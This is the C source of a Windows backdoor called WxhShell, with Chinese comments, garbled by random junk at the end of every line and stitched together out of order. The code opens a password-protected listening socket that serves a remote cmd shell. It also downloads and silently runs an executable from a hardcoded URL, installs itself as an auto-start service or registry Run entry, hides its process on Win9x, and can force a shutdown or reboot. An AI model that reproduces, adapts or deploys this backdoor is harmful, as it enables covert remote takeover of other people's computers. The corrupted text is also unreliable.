    ExitThread(0); x9PEYhL?  
    } !F{5"$  
    break; * wN+Ak q  
    } 5Am*1S^  
  // 关机 $UlA_l29  
  case 'd': { x@ bZ((w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RB'12^[  
    if(Boot(SHUTDOWN)) 2S^xqvh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fU~>A-P  
    else { {p UOu8`Z  
    closesocket(wsh); n?@o:c5,r  
    ExitThread(0); 1N< )lZl)  
    } ~AuvB4xe~  
    break; k}-%NkQ 9O  
    } D@H'8C\  
  // 获取shell Y=/3_[G   
  case 's': { *>.~f<V  
    CmdShell(wsh); #m9V) 1"wB  
    closesocket(wsh); #'z\[^vp  
    ExitThread(0); &..![,)w^!  
    break; =Fea vyx  
  } ja2LQe@ Q  
  // 退出 nLkC-+$tM  
  case 'x': { wP/rR D6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9a)D8  
    CloseIt(wsh); *n?6x!A  
    break; _p{ag 1gP  
    } 'dj}- Rs  
  // 离开 a(Z" }m  
  case 'q': { X%,;IW]a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y)U8\  
    closesocket(wsh); O3*Vilx  
    WSACleanup(); cZL"e  
    exit(1); ik~hL/JD\  
    break; Yl1@ gw7  
        } zEY Ey1  
  } >T~{_|N  
  } l;Zc[6  
'ESy>wA{y<  
  // 提示信息 )+w0NhJw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r3ZY` zf  
} #eE:hiu<v  
  } u4o%qK  
#:Cr'U  
  return; 2ok>z$Y  
} ..;LU:F  
(B]Vw+/  
// shell模块句柄 l%B1JGu*F  
int CmdShell(SOCKET sock) nC`#Hm.V%  
{ Tjure]wQz  
STARTUPINFO si; *Gu Cv3|  
ZeroMemory(&si,sizeof(si)); ~2A<fL,-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sutj G`m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?Pmj}f  
PROCESS_INFORMATION ProcessInfo; iCk34C7  
char cmdline[]="cmd"; biGaP#"0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GLc+`,.  
  return 0; L6$,<}l  
} 1Sz5&jz  
>!? f6 {\|  
// 自身启动模式 xNxIqq<k  
int StartFromService(void) %X GX(  
{ @b!fs  
typedef struct WF-imI:EK  
{ &$hfAG]"  
  DWORD ExitStatus; :CHCVoh@95  
  DWORD PebBaseAddress; XNu2G19jb  
  DWORD AffinityMask; KU33P>a"[k  
  DWORD BasePriority; R52q6y:<x  
  ULONG UniqueProcessId; r(vk2Qy  
  ULONG InheritedFromUniqueProcessId; |hp_X>Uv'  
}   PROCESS_BASIC_INFORMATION; O";r\Z  
QS=n 50T,  
PROCNTQSIP NtQueryInformationProcess; s3kh (N  
0?,EteR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C<w9f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +$},Hu69j  
" I`YJEv  
  HANDLE             hProcess; _Zf1=& U#/  
  PROCESS_BASIC_INFORMATION pbi; 8Yq6I>@!  
1ygu>sKS&A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !c1 E  
  if(NULL == hInst ) return 0; ew?UHV  
S2jo@bp!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NX)7g}S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gWgK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qLYv=h$,  
d2X#_(+d  
  if (!NtQueryInformationProcess) return 0; V=(4 c  
 ]g?G 0m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _IpW &  
  if(!hProcess) return 0; ,5r 2!d  
D"1ciO8^I]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  5Y9 j/wA  
!2&h=;i~V  
  CloseHandle(hProcess); k7y!! AV  
s?%1/&.~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YVW!u6W'[6  
if(hProcess==NULL) return 0; T/ S-}|fhQ  
,u]kZ]  
HMODULE hMod; J_P2%b=C  
char procName[255]; 4TR:bQZs  
unsigned long cbNeeded; 6dq U4  
)sNtw Sl^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3wR5:O$H  
hDp'=}85@  
  CloseHandle(hProcess); TS3 00F  
NmtBn^ t  
if(strstr(procName,"services")) return 1; // 以服务启动 :l9C7o  
]Dx?HBM"DC  
  return 0; // 注册表启动 u4+VG5.rhT  
} W=)}=^N0  
tO~H/0  
// 主模块 M6?Qw=  
int StartWxhshell(LPSTR lpCmdLine) @RaMO#  
{ wp*;F#:G  
  SOCKET wsl; VCc4nn#  
BOOL val=TRUE; _'j>xK  
  int port=0; AH#e>kU^  
  struct sockaddr_in door; };zF&  
* 5P/&*c|  
  if(wscfg.ws_autoins) Install(); s_1]&0<  
^u Z%d  
port=atoi(lpCmdLine); o)-Qd3d%S  
)UJ]IB-Q|1  
if(port<=0) port=wscfg.ws_port; +U6! bu>C  
TD3R/NP  
  WSADATA data; qvk?5#B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jge;/f!i  
HVu_@[SYR3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )0d3sJ8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z.R^@@RqJ  
  door.sin_family = AF_INET; <,cDEN7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8@$QN4^u^  
  door.sin_port = htons(port); $ \P!P.  
X)uT-Fy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J-,T^Wv  
closesocket(wsl); bq ~'jg^#  
return 1; 45-pJf8F  
} /-4%ug tD$  
a<\m` Es=  
  if(listen(wsl,2) == INVALID_SOCKET) { DTr0u}m  
closesocket(wsl); i,bFe&7J  
return 1; 'x6Mqv1W  
} "ht2X w  
  Wxhshell(wsl); 7x1jpQ -  
  WSACleanup(); e94csTh=  
aX  ?ON  
return 0; ~KX!i 8+X  
H3b@;&`&  
} St(7@)gvY  
s}HTxY;  
// 以NT服务方式启动 8o4 vA,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v.Q)Obyn  
{ +5T0]!  
DWORD   status = 0; 6xj&Qo  
  DWORD   specificError = 0xfffffff; >)VrbPRuA  
@7BH`b$)!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~^3B(feQ]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s'K0C8'U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +"d{P,[3J  
  serviceStatus.dwWin32ExitCode     = 0; I.( 9{  
  serviceStatus.dwServiceSpecificExitCode = 0; "+HZ~:~f  
  serviceStatus.dwCheckPoint       = 0; K): )bL(B  
  serviceStatus.dwWaitHint       = 0; .Wa6?r<g  
n ~ =]/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n$~RgCf  
  if (hServiceStatusHandle==0) return; lFRgyEPH  
w\\    
status = GetLastError(); 8taaBM`:  
  if (status!=NO_ERROR) OY@/18D<>  
{ f:HRrKf9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zfxxPL'  
    serviceStatus.dwCheckPoint       = 0; KD#ip3  
    serviceStatus.dwWaitHint       = 0; \GPWC}V\s  
    serviceStatus.dwWin32ExitCode     = status; jdoI)J@9H  
    serviceStatus.dwServiceSpecificExitCode = specificError; w1iQ#.4K_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5$9j&&R  
    return; rgOB0[  
  } 2p'qp/  
<K2 )v~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fHe3 :a5+W  
  serviceStatus.dwCheckPoint       = 0; 7ZJYT#>b  
  serviceStatus.dwWaitHint       = 0; b)`<J @&{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #&$4tTl  
} wtRAq/  
xOEj+%M  
// 处理NT服务事件,比如:启动、停止 DuCq16'0T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1o.]"~0:  
{ uS<&$J H  
switch(fdwControl) X\flx~  
{ JZai{0se  
case SERVICE_CONTROL_STOP: '5{gWV`  
  serviceStatus.dwWin32ExitCode = 0; m@TU2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eLl ;M4d  
  serviceStatus.dwCheckPoint   = 0; RX#:27:  
  serviceStatus.dwWaitHint     = 0; 8vchLl#  
  { (Kx3:gs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);   5)mn  
  } )2:d8J\  
  return;  fkYa  
case SERVICE_CONTROL_PAUSE: y5oiH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?_ p3^kl  
  break; C/lp Se  
case SERVICE_CONTROL_CONTINUE: H!7/U_AH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R{Cj]:Ky  
  break; C !uwD  
case SERVICE_CONTROL_INTERROGATE: XFH7jHnL+U  
  break; ,Y}HP3  
}; .,feRK>3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vbz$dpT  
} *n}{ )Ef  
[{'` |  
// 标准应用程序主函数  X&(1DE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %m{h1UQQ +  
{ WG1x:,-  
!WAbO(l  
// 获取操作系统版本 lKwIlp  
OsIsNt=GetOsVer(); OBu$T&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'Kc;~a  
~kF^0-JZY  
  // 从命令行安装 (AV j_Cw  
  if(strpbrk(lpCmdLine,"iI")) Install();  rf oLg  
@#;~_?$?C  
  // 下载执行文件 = q;ACW,z  
if(wscfg.ws_downexe) { qJrK?:O;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ys09W+B7  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~ M@8O  
} _18) XR  
dd_n|x1  
if(!OsIsNt) { Fb.wm   
// 如果时win9x,隐藏进程并且设置为注册表启动 UG 9uNgzQ/  
HideProc(); %n T!u!#  
StartWxhshell(lpCmdLine); 0<nk>o  
} 1@;Dn'  
else "){"{~  
  if(StartFromService()) P;][i|x  
  // 以服务方式启动 T[q2quXgk  
  StartServiceCtrlDispatcher(DispatchTable); qN[U|3k  
else `BF+)fs  
  // 普通方式启动 ~xkcQ{  
  StartWxhshell(lpCmdLine); -=@d2LY  
8FU8E2zo  
return 0; f{G ^b&x  
} [Vc8j&:L  
1Sx2c  
42~tdD  
(HDR}!.E  
=========================================== i=nd][1n  
h b_"E, `F  
Qw}uB$S>  
V*}ft@GPD  
4ba[*R2  
,F!zZNW9  
" EWrIDZi  
xN'$ Yh  
#include <stdio.h>  l|j  
#include <string.h> /R!:ll2  
#include <windows.h> Jx!#y A;  
#include <winsock2.h> YZMSiDv[e  
#include <winsvc.h> xG/B$DLn  
#include <urlmon.h> `zw XfY,%  
kZ>_m &g  
#pragma comment (lib, "Ws2_32.lib") X@RS /  
#pragma comment (lib, "urlmon.lib") [+ K jun_  
_ VKBzOH  
#define MAX_USER   100 // 最大客户端连接数 C6Lc   
#define BUF_SOCK   200 // sock buffer =;ClOy9  
#define KEY_BUFF   255 // 输入 buffer <Z5-?wgf9  
j4k\5~yzS  
#define REBOOT     0   // 重启 gF# HNv  
#define SHUTDOWN   1   // 关机 Py y!B  
tp*.'p-SI  
#define DEF_PORT   5000 // 监听端口 S6Y2(qdP  
T\?$7$/V  
#define REG_LEN     16   // 注册表键长度 JuQwZ]3ed  
#define SVC_LEN     80   // NT服务名长度 9kHVWDf  
Vdd HK  
// 从dll定义API d<K2 \:P{}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r2yJ{j&s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ti'B}bH>'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bs)'Gk`1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0Un?[O  
0$ JH5RC  
// wxhshell配置信息 3>M%?d  
struct WSCFG { B\S}*IE  
  int ws_port;         // 监听端口 B>.x@(}V~  
  char ws_passstr[REG_LEN]; // 口令 & OYo  
  int ws_autoins;       // 安装标记, 1=yes 0=no x<5ARK6\=  
  char ws_regname[REG_LEN]; // 注册表键名 K*I!:1;3N  
  char ws_svcname[REG_LEN]; // 服务名 /9ctmW1!<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U}@xMt8@l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *IX<&u#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v|\3FEu@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aKjP{Z0k$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5(>SFxz"t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )G#mC0?PV  
/| q .q  
}; ysapvQN_6  
VWq]w5oQO  
// default Wxhshell configuration vMd3#@  
struct WSCFG wscfg={DEF_PORT, o1`\*]A7J  
    "xuhuanlingzhe", I+=+ ,iXhB  
    1, p<1y$=zS  
    "Wxhshell", `+z^#3l  
    "Wxhshell", 3P@D!lV&K  
            "WxhShell Service", 5skxixG  
    "Wrsky Windows CmdShell Service", m ww<Xm'  
    "Please Input Your Password: ", vAp<Muj(a  
  1, <qg4Rz\c]  
  "http://www.wrsky.com/wxhshell.exe", J 2<kOXXJ9  
  "Wxhshell.exe" ijsoY\V50  
    }; p8Z?R^$9H  
pHT]2e#  
// 消息定义模块 sYjhQN=Y*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jr,N+K(@T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jc!m; U t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CYRZ2Yrk?"  
char *msg_ws_ext="\n\rExit."; U0gZf5;*  
char *msg_ws_end="\n\rQuit."; #u}%r{T  
char *msg_ws_boot="\n\rReboot..."; t0+i ]lr  
char *msg_ws_poff="\n\rShutdown..."; K!]a+M]>  
char *msg_ws_down="\n\rSave to "; k&2=-qgVR  
* xCY^_  
char *msg_ws_err="\n\rErr!"; h PL]B_<  
char *msg_ws_ok="\n\rOK!"; }R`Rqg-W  
(+c1.h  
char ExeFile[MAX_PATH]; ],_+J *  
int nUser = 0; )/?H]o$NU  
HANDLE handles[MAX_USER]; Aa=:AkrH  
int OsIsNt; h5SJVa  
q.p.$)  
SERVICE_STATUS       serviceStatus; ,jOJ\WXP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8[;vC$  
%x N${4)6  
// 函数声明 v\GVy[Qyv  
int Install(void); H4s~=iB  
int Uninstall(void); gVrQAcJj  
int DownloadFile(char *sURL, SOCKET wsh); J$Z=`=] t+  
int Boot(int flag); zcKQD)]  
void HideProc(void); #F`A(n  
int GetOsVer(void); fqhL"Ah   
int Wxhshell(SOCKET wsl); P 0e-v0  
void TalkWithClient(void *cs); jMgXIK\  
int CmdShell(SOCKET sock); GlnO8cAB  
int StartFromService(void); yVII<ImqIH  
int StartWxhshell(LPSTR lpCmdLine); +? h}e  
];Z6=9n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kk %32(By  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GL=}Vu`(*  
/M_$4O;*@  
// 数据结构和表定义 $c9-Q+pZ  
SERVICE_TABLE_ENTRY DispatchTable[] = XEgJ7h_  
{ >~SS^I0  
{wscfg.ws_svcname, NTServiceMain}, r/2= nE  
{NULL, NULL} 5?lc%,-&  
}; ^Jp,&  
0?<#!  
// 自我安装 z$e6T&u5B  
int Install(void) Pg%9hejf3  
{ ? 3=G'Ip5n  
  char svExeFile[MAX_PATH]; 7~ PL8  
  HKEY key; gxN>q4z  
  strcpy(svExeFile,ExeFile); 27EK +$  
|M7cB$y  
// 如果是win9x系统,修改注册表设为自启动 X_]rtG  
if(!OsIsNt) { BH">#&j[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & 3BoK/y3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |'q%9 #  
  RegCloseKey(key); >#w;67he2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZEAUoC1E1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JVYH b 60Z  
  RegCloseKey(key); ;f =m+QXU  
  return 0; Ho>Np&  
    } rW:krx9  
  } );$99t  
} TaN{xpo  
else { rZ~w_DK*  
flsejj$  
// 如果是NT以上系统,安装为系统服务 )h8}{*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bC/":+s& p  
if (schSCManager!=0) !cwZ*eM  
{ qI+2,6 sGI  
  SC_HANDLE schService = CreateService J;C:nE|V  
  ( ]mTBD<3\  
  schSCManager, >2'"}np*  
  wscfg.ws_svcname, w G%W{T$  
  wscfg.ws_svcdisp, ;V xRaj?  
  SERVICE_ALL_ACCESS, TmsIyDcD~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /|IPBU 5  
  SERVICE_AUTO_START, vrkY7L3\  
  SERVICE_ERROR_NORMAL, X2z<cJG|d@  
  svExeFile, U ? +_\  
  NULL, x4oWZEd  
  NULL, =]Vz= <  
  NULL, cCe~Ol XQ  
  NULL, {KG6#/%;  
  NULL <kak9 6A  
  ); FACw;/rW  
  if (schService!=0) Y@UkP+{f=  
  { s6!6Oqh  
  CloseServiceHandle(schService);  !+eH8  
  CloseServiceHandle(schSCManager); vADiW~^Q^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #c^V %  
  strcat(svExeFile,wscfg.ws_svcname); *m~-8_ >;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vw;Z0_C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '<R>cN"  
  RegCloseKey(key); R4m {D  
  return 0; aD^$v  
    } n HseA  
  } i[v4[C=WB!  
  CloseServiceHandle(schSCManager); hF%M!otcJ-  
} rtV`Q[E  
} KK){/I=z  
Fx9-A8oIR  
return 1; Q&} 0owe  
} O>~,RI!  
<+`%=r)4  
// 自我卸载 .%zcm  
int Uninstall(void) =V^-@ji)b  
{ l8\UO<^fY  
  HKEY key; -V2\s  
N3%X>*'  
if(!OsIsNt) { 2 !s&|lI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >f(?Mxh2  
  RegDeleteValue(key,wscfg.ws_regname); k }=<51c  
  RegCloseKey(key); kZ40a\9 Ye  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zf'*pp T&q  
  RegDeleteValue(key,wscfg.ws_regname); RkF#NCnL;  
  RegCloseKey(key); apvcWF%  
  return 0; eS`VI+=@0  
  } ]A*}Dem*5  
} OtG\Uw8  
} rE3dHJN;  
else { {&  o^p!  
UUah5$Iy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i0vm00oT  
if (schSCManager!=0) D(!^$9e9b  
{ p4`1^}f&Ie  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o NtFYY  
  if (schService!=0)  : T*Q2  
  { BOs/:ZbK0W  
  if(DeleteService(schService)!=0) { Shm> r@C?  
  CloseServiceHandle(schService); / ^.|m3  
  CloseServiceHandle(schSCManager); KZm&sk=QM-  
  return 0; _yg_?GH  
  } 2u"lc'9v  
  CloseServiceHandle(schService); 1F@k9[d~  
  } =BJe)!b  
  CloseServiceHandle(schSCManager); +r:g}iR  
} iUx\3d,  
} )t6]F6!_  
~zVxprEf_  
return 1; XzUGlrp:Y#  
} __=H"UhWv  
AK:cDKBO  
// 从指定url下载文件 o[|[xuTm  
int DownloadFile(char *sURL, SOCKET wsh) 8bIP"!=*W  
{ ] lB zpD  
  HRESULT hr; 5xQ-f  
char seps[]= "/"; >=~\b  
char *token; $ghZ<Y2}9  
char *file; }3pM,.  
char myURL[MAX_PATH]; @<.@ X*#I  
char myFILE[MAX_PATH]; Gw M:f/eV  
(3#PKfY+  
strcpy(myURL,sURL); 5KCB^`|b>t  
  token=strtok(myURL,seps); &V"oJ}M/a  
  while(token!=NULL) !X>u.}?g  
  { e+ xQ\LH  
    file=token; V Z(/g"9  
  token=strtok(NULL,seps); YOCEEh?  
  } qQ@| Cj  
9U8M|W|d  
GetCurrentDirectory(MAX_PATH,myFILE); S,Y|;p<+^  
strcat(myFILE, "\\"); c}(WniR-"  
strcat(myFILE, file); *@U{[J  
  send(wsh,myFILE,strlen(myFILE),0); K,b M9>}  
send(wsh,"...",3,0); 3DU1c?M:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ndmt$(b  
  if(hr==S_OK) Fn4v/)*H  
return 0; 04a ^jjc  
else aSL`yuXu  
return 1; JF~i.+{ h  
u-_r2U  
} Hbm 4oYN  
?J}Q&p.  
// 系统电源模块 $( hT{C,K  
int Boot(int flag) $] 6u#5  
{ lj4Fg*/Yn  
  HANDLE hToken; Zt=|q$"  
  TOKEN_PRIVILEGES tkp; Q&9 yrx.  
P7x;G5'.  
  if(OsIsNt) { S-Uod y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @"@a70WHk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .3!Wr*o  
    tkp.PrivilegeCount = 1; IqOg{#sm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .sMs_ 5D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s**<=M GK  
if(flag==REBOOT) { 36d nS>4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j\>LJai"  
  return 0; h2l;xt  
} ~9X^3.nI  
else { @AyteHK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <izQ]\kL  
  return 0; /{M<FVXK+|  
} YQVo7"`%  
  } G6SgVaM  
  else { p/H.bG!z  
if(flag==REBOOT) { ?gH[la  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tUn >=>cWP  
  return 0; Z!p\=M,%  
} "wUIsuG/p  
else { pYr"3BwG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J<) qw  
  return 0; tbrU>KCBD  
} tgRj8 @  
} jhu &Wh  
"c^!LV  
return 1; c`6c)11K  
} tC[ZWL  
X.]I4O&_  
// win9x进程隐藏模块 H]TdW;ZbZ  
void HideProc(void) /l$x}  
{ `~1!nfFD  
yR}. Xq/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V<ESj K8  
  if ( hKernel != NULL ) XLh)$rZ  
  { &kb`)F3nU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FD=% 4#|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c*USA eP  
    FreeLibrary(hKernel); AtT7~cVe  
  } JsEJ6!1  
Qg>NJ\*Q  
return; rd <m:r  
} STKL  
2TK \pfD  
// 获取操作系统版本 %? ~'A59  
int GetOsVer(void) &@=Jm /5  
{ |vI*S5kn6A  
  OSVERSIONINFO winfo; QM$UxWo-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZOK!SBn^?  
  GetVersionEx(&winfo); 5_yQI D%Sq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CH++3i2&  
  return 1; h~dQ5%  
  else sXLW';Fz  
  return 0; &L|oqXE0L  
} }{0}$#z u  
mz?<t/$U  
// 客户端句柄模块 So%X(, |  
int Wxhshell(SOCKET wsl) fN vQ.;  
{ ) u?f| D  
  SOCKET wsh; 8R~<$ xz  
  struct sockaddr_in client; l;8t%JV5  
  DWORD myID; ?%kgfw@)  
VRo&1:  
  while(nUser<MAX_USER) \;;M")$  
{ T,38Pu@r  
  int nSize=sizeof(client); -t-f&`S||  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 62xOh\(  
  if(wsh==INVALID_SOCKET) return 1; `sjY#Ua<  
5Cf!NNV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4jT6h9%  
if(handles[nUser]==0) t}t(fJHY`  
  closesocket(wsh); _~FfG!H ^X  
else aq,1'~8XR  
  nUser++; I}$`gUXX8x  
  } '|yxB')  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bk8}K=%w  
<JPN< Kv  
  return 0; cXweg;  
} ,05PYBc3  
y<`5  
// 关闭 socket 7lC$UQx8  
void CloseIt(SOCKET wsh) !z?   
{ MGdzrcF  
closesocket(wsh); "M%R{pGA7  
nUser--; D?Oe";"/  
ExitThread(0); ]4~Yi1]  
} +IZ=E >a  
VZ]iep  
// 客户端请求句柄 UB~K/r`.|  
void TalkWithClient(void *cs) e02Hf{eOfw  
{ Ae5A@4  
F`=p/IAJK  
  SOCKET wsh=(SOCKET)cs; 0d2P   
  char pwd[SVC_LEN]; (3e.q'  
  char cmd[KEY_BUFF]; 4:MvC^X~z  
char chr[1]; 3Tr,waV  
int i,j; dJuyJl$*  
*tjaac;z<J  
  while (nUser < MAX_USER) { c!w[)>v  
'1u?-2  
if(wscfg.ws_passstr) { i?L=8+9f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QE 4   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /*C!]Z>.  
  //ZeroMemory(pwd,KEY_BUFF); \p!UY 3'  
      i=0; C T~6T&'  
  while(i<SVC_LEN) { (g6e5Sgi>  
Q  :kg  
  // 设置超时 5:PS74/  
  fd_set FdRead; s.M39W?  
  struct timeval TimeOut; p.:651b  
  FD_ZERO(&FdRead); wm@m(ArE=  
  FD_SET(wsh,&FdRead); 5Fydh0.  
  TimeOut.tv_sec=8; |n_N.Z  
  TimeOut.tv_usec=0; |# 0'_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'O a3 6@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gUiO66#x  
._+cvXy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t{;2$z 0  
  pwd=chr[0]; bRo<~ rp%  
  if(chr[0]==0xd || chr[0]==0xa) { 7i5B=y7b  
  pwd=0; P" c@V,.  
  break; `IN!#b+Eo  
  } hcVu`Bn  
  i++; k?=1q[RQH  
    } bH+NRNI]  
VQIvu)I  
  // 如果是非法用户,关闭 socket B*/!s7c.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DG&'x;K"$  
} 8Qi)E 1n  
 }$oS /bo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); . !1[I{KU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3f =ZNJ>  
sY<UJlDKT  
while(1) { r8"2C#  
_'D(>e?  
  ZeroMemory(cmd,KEY_BUFF); ]p|?S[!=  
 |q3X#s72  
      // 自动支持客户端 telnet标准   t?hfP2&6  
  j=0; x'EEmjJ  
  while(j<KEY_BUFF) { Jm!,=} oP'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0 u*a=f=  
  cmd[j]=chr[0]; EPE_2a}  
  if(chr[0]==0xa || chr[0]==0xd) { MkW=sD_  
  cmd[j]=0; #7;?Ls  
  break; 2: QT`e&  
  } MKbcJZe  
  j++; \.2i?<BC  
    } NV5qF/<M  
#cQ5-R -1  
  // 下载文件 (iKJ~bJ  
  if(strstr(cmd,"http://")) { stG +4w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cm;cmPPl  
